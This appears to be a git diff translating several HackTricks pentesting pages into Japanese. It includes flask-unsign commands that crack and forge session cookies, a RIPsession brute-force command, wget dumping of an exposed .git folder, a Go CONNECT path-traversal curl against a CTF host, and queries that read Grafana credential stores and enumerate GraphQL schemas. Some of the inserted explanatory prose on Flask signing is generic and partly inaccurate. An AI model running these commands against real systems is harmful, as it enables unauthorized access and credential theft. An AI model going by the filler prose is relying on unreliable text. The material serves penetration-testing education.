+ブルートフォース攻撃は、Webアプリケーションの脆弱性を悪用して、認証機構を回避することができます。攻撃者は、ユーザー名とパスワードの組み合わせを総当たりで試行し、正しい組み合わせを見つけることで、不正アクセスを行うことができます。 + +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を使用することが重要です。また、2要素認証やCAPTCHAなどの追加のセキュリティ対策も有効です。 + +ブルートフォース攻撃は、時間とリソースがかかるため、攻撃者はパスワードの長さや複雑さによって成功率が変動することを理解しておく必要があります。 ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` +#### **署名** -#### **Signing** +Flask supports signing the data to ensure its integrity and authenticity. The signing process involves generating a cryptographic signature for the data using a secret key. This signature can then be verified to ensure that the data has not been tampered with. +Flask provides the `itsdangerous` module for signing data. This module includes the `URLSafeSerializer` class, which can be used to sign and verify data. + +To sign data using Flask, you can create an instance of the `URLSafeSerializer` class with a secret key. Then, you can use the `dumps()` method to sign the data and generate a URL-safe string representation of the signed data. + +```python +from itsdangerous import URLSafeSerializer + +# Create a serializer instance with a secret key +serializer = URLSafeSerializer('secret_key') + +# Sign the data +signed_data = serializer.dumps(data) +``` + +To verify the signed data, you can use the `loads()` method of the serializer instance. This method will raise an exception if the data has been tampered with or if the signature is invalid. + +```python +from itsdangerous import BadSignature + +try: + # Verify the signed data + data = serializer.loads(signed_data) +except BadSignature: + # Handle invalid signature + pass +``` + +By using signing in Flask, you can ensure the integrity and authenticity of the data being transmitted or stored. This can be useful in preventing data tampering and unauthorized access. ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' ``` +#### レガシー(古いバージョン)を使用した署名 -#### Signing using legacy (old versions) +Legacy versions of Flask, specifically versions 0.9 and earlier, use a different method for signing cookies compared to newer versions. This older method is considered less secure and should be avoided if possible. +To sign cookies using legacy versions of Flask, you can use the `itsdangerous` library. This library provides a `TimestampSigner` class that can be used to sign and verify cookies. + +Here is an example of how to sign a cookie using the legacy method: + +```python +from itsdangerous import TimestampSigner + +def sign_cookie_legacy(cookie_value, secret_key): + signer = TimestampSigner(secret_key) + signed_cookie = signer.sign(cookie_value) + return signed_cookie +``` + +In this example, the `sign_cookie_legacy` function takes the cookie value and a secret key as input. It then creates an instance of the `TimestampSigner` class using the secret key. The `sign` method is called on the signer object to sign the cookie value, and the signed cookie is returned. + +To verify a signed cookie using the legacy method, you can use the `unsign` method of the `TimestampSigner` class: + +```python +from itsdangerous import TimestampSigner, BadSignature + +def verify_cookie_legacy(signed_cookie, secret_key): + signer = TimestampSigner(secret_key) + try: + cookie_value = signer.unsign(signed_cookie) + return cookie_value + except BadSignature: + return None +``` + +In this example, the `verify_cookie_legacy` function takes a signed cookie and a secret key as input. It creates an instance of the `TimestampSigner` class using the secret key. The `unsign` method is called on the signer object to verify the signed cookie. If the verification is successful, the original cookie value is returned. If the verification fails, `None` is returned. + +It is important to note that using legacy signing methods can introduce security vulnerabilities. It is recommended to upgrade to a newer version of Flask and use the recommended signing methods for improved security. ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` - ### **RIPsession** -Command line tool to brute-force websites using cookies crafted with flask-unsign. +Flask-unsignを使用して作成されたクッキーを使用してウェブサイトをブルートフォースするためのコマンドラインツールです。 {% embed url="https://github.com/Tagvi/ripsession" %} - ```bash - ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt +ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` +### SQLi in FlaskセッションクッキーにおけるSQLmap -### SQLi in Flask session cookie with SQLmap - -[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret. +[**この例**](../../pentesting-web/sql-injection/sqlmap/#eval)では、既知の秘密を使用して、sqlmapの`eval`オプションを使用して、Flaskに対して自動的にsqlmapペイロードに署名します。
-Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -98,10 +202,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/network-services-pentesting/pentesting-web/git.md b/network-services-pentesting/pentesting-web/git.md index f563a239d..a09e268e6 100644 --- a/network-services-pentesting/pentesting-web/git.md +++ b/network-services-pentesting/pentesting-web/git.md @@ -4,48 +4,48 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -**To dump a .git folder from a URL use** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) +**URLから.gitフォルダをダンプするには** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) **を使用します** -**Use** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **to inspect the content** +**コンテンツを調査するために** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **を使用します** -If a _.git_ directory is found in a web application you can download all the content using _wget -r http://web.com/.git._ Then, you can see the changes made by using _git diff_. +Webアプリケーションで_.git_ディレクトリが見つかった場合、_wget -r http://web.com/.git_を使用してすべてのコンテンツをダウンロードできます。その後、_git diff_を使用して変更内容を確認できます。 -The tools: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) and [GitTools](https://github.com/internetwache/GitTools) can be used to retrieve the content of a git directory. +[Git-Money](https://github.com/dnoiz1/git-money)、[DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage)、および[GitTools](https://github.com/internetwache/GitTools)というツールを使用して、gitディレクトリのコンテンツを取得できます。 -The tool [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) can be used to search for CVEs and security vulnerability messages inside commits messages. +[https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder)というツールを使用して、コミットメッセージ内のCVEとセキュリティ脆弱性メッセージを検索できます。 -The tool [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) search for sensitive data in the repositories of an organisations and its employees. +[https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)というツールは、組織とその従業員のリポジトリで機密データを検索します。 -[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) is a command line-based tool that was written with a single goal: to help you discover GitHub secrets that developers accidentally made by pushing sensitive data. And like the others, it will help you find passwords, private keys, usernames, tokens and more. +[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner)は、コマンドラインベースのツールで、開発者が誤ってプッシュした機密データを見つけるのに役立ちます。他のツールと同様に、パスワード、秘密鍵、ユーザー名、トークンなどを見つけるのに役立ちます。 -[TruffleHog](https://github.com/dxa4481/truffleHog) searches through GitHub repositories and digs through the commit history and branches, looking for accidentally committed secrets +[TruffleHog](https://github.com/dxa4481/truffleHog)は、GitHubリポジトリを検索し、コミット履歴とブランチを調べて、誤ってコミットされた秘密を探します。 -Here you can find an study about github dorks: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks) +ここでは、GitHubドークに関する研究を見つけることができます:[https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/pentesting-web/golang.md b/network-services-pentesting/pentesting-web/golang.md index 299749bdd..13c2347c5 100644 --- a/network-services-pentesting/pentesting-web/golang.md +++ b/network-services-pentesting/pentesting-web/golang.md @@ -1,36 +1,32 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## CONNECT method +## CONNECTメソッド -In golang, the library net/http usually transforms the path to a canonical one before accessing it: +golangでは、通常、net/httpライブラリはアクセスする前にパスを正規のものに変換します: -* /flag/ -- Is responded with a redirect to /flag -* /../flag --- Is responded with a redirect to /flag -* /flag/. -- Is responded with a redirect to /flag - -However, when the CONNECT method is used this doesn't happen. So, if you need to access some protected resource you can abuse this trick: +* /flag/ -- /flagへのリダイレクトで応答されます +* /../flag --- /flagへのリダイレクトで応答されます +* /flag/. -- /flagへのリダイレクトで応答されます +ただし、CONNECTメソッドを使用する場合、これは起こりません。したがって、保護されたリソースにアクセスする必要がある場合、このトリックを悪用することができます: ```text curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag ``` - [https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go\#L2354-L2364](https://github.com/golang/go/blob/9bb97ea047890e900dae04202a231685492c4b18/src/net/http/server.go#L2354-L2364) @@ -39,16 +35,14 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/pentesting-web/grafana.md b/network-services-pentesting/pentesting-web/grafana.md index 8c64ad2ed..46907dc6a 100644 --- a/network-services-pentesting/pentesting-web/grafana.md +++ b/network-services-pentesting/pentesting-web/grafana.md @@ -4,32 +4,18 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Interesting stuff +## 興味深い情報 -* The file **`/etc/grafana/grafana.ini`** can contain sensitive information such as **admin** **username** and **password.** -* Inside the platform you could **invite people** or **generate API keys** (might need to be admin) -* You could check which plugins are installed (or even install new) -* By default it uses **SQLite3** database in **`/var/lib/grafana/grafana.db`** - * `select user,password,database from data_source;` - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* ファイル **`/etc/grafana/grafana.ini`** には、**admin**の**ユーザー名**と**パスワード**などの機密情報が含まれている場合があります。 +* プラットフォーム内で人々を**招待**したり、**APIキー**を**生成**したりすることができます(管理者権限が必要な場合があります)。 +* インストールされているプラグインを確認したり(新しいプラグインをインストールすることもできます)。 +* デフォルトでは、**SQLite3**データベースが**`/var/lib/grafana/grafana.db`**に使用されます。 +* `select user,password,database from data_source;` diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 0acfc52b8..611d78ff3 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -4,23 +4,23 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Introduction +## はじめに -GraphQL acts as an alternative to REST API. Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. This is a lot simpler because you don’t have to send multiple requests to the API, a single request can be used to gather all the necessary information. +GraphQLはREST APIの代替として機能します。REST APIでは、クライアントはバックエンドデータベースからデータをクエリするために複数のリクエストをAPIの異なるエンドポイントに送信する必要があります。GraphQLでは、バックエンドをクエリするために1つのリクエストのみを送信する必要があります。これは、複数のリクエストをAPIに送信する必要がないため、はるかにシンプルです。 ## GraphQL -As new technologies emerge so will new vulnerabilities. By **default** graphQL does **not** implement **authentication**, this is put on the developer to implement. This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. +新しい技術が登場するにつれて、新しい脆弱性も登場します。**デフォルトでは**、GraphQLは**認証を実装していません**。これは、開発者が実装する必要があることを意味します。つまり、デフォルトではGraphQLは誰でもクエリでき、機密情報は認証されていない攻撃者に利用可能です。 -When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances. +ディレクトリブルートフォース攻撃を実行する際には、次のパスを追加してGraphQLインスタンスをチェックしてください。 * _/graphql_ * _/graphiql_ @@ -29,341 +29,327 @@ When performing your directory brute force attacks make sure to add the followin
-Once you find an open graphQL instance you need to know **what queries it supports**. This can be done by using the introspection system, more details can be found here: [**GraphQL: A query language for APIs.**\ +オープンなGraphQLインスタンスを見つけたら、**どのクエリをサポートしているかを知る必要があります**。これは、内省システムを使用して行うことができます。詳細については、こちらを参照してください:[**GraphQL: A query language for APIs.**\ It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so…](https://graphql.org/learn/introspection/) -### Fingerprint +### フィンガープリント -The tool [**graphw00f**](https://github.com/dolevf/graphw00f) is capable to detect wich GraphQL engine is used in a server and then prints some helpful information for the security auditor. +ツール[**graphw00f**](https://github.com/dolevf/graphw00f)は、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を表示することができます。 -### Basic Enumeration +### 基本的な列挙 -Graphql usually supports GET, POST (x-www-form-urlencoded) and POST(json). +GraphQLは通常、GET、POST(x-www-form-urlencoded)、POST(json)をサポートしています。 **query={\_\_schema{types{name,fields{name\}}\}}** -With this query you will find the name of all the types being used: +このクエリでは、使用されているすべてのタイプの名前を見つけることができます。 ![](<../../.gitbook/assets/image (202).png>) **query={\_\_schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind\}}\}}\}}}** -With this query you can extract all the types, it's fields, and it's arguments (and the type of the args). This will be very useful to know how to query the database. +このクエリでは、すべてのタイプ、そのフィールド、およびその引数(および引数のタイプ)を抽出することができます。これは、データベースをクエリする方法を知るために非常に役立ちます。 ![](<../../.gitbook/assets/image (207) (3).png>) -**Errors** - -It's interesting to know if the **errors** are going to be **shown** as they will contribute with useful **information.** +**エラー** +エラーが表示されるかどうかを知ることは興味深いです。エラーは有用な情報を提供する可能性があります。 ``` ?query={__schema} ?query={} ?query={thisdefinitelydoesnotexist} ``` +**スキーマの列挙によるデータベースのスキーマの特定** -![](<../../.gitbook/assets/image (205) (1).png>) 